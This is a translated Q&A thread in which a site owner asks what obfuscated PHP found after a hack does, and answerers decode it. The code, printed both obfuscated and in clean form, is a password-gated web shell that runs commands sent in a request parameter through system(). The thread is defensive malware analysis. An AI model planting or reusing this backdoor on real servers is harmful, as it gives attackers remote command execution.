我的网站被黑了 - 这段代码做了什么?

joh*_*ree 4 php obfuscation base64

有人攻击我的网站并包含此代码.有人可以解释它的作用吗?

为了更清晰,我重新格式化了间距.我已经尝试运行代码,但看起来它只是返回一个md5哈希.这是无害的吗?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>
Run Code Online (Sandbox Code Playgroud)

Ale*_*rei 6

在下面的代码注释中回答内联.
简而言之,该脚本允许将shell写入或上载到您的服务器.

后来编辑:绝对不是无害的,用火烧它.

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
    base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit; 
// job done, exit :)
Run Code Online (Sandbox Code Playgroud)


mha*_*all 4

并非无害。这是删除了混淆内容的代码:

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));

if ($_1 != $_0) exit;

$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;

system($_2);
exit;
Run Code Online (Sandbox Code Playgroud)

如果它出现在您服务器上的 PHP 文件中,则意味着恶意用户可以使用ps参数制作 URL,以便以system运行您的 Web 服务器的用户的权限在您的服务器上执行任何程序(使用调用)。

我建议你摆脱这个。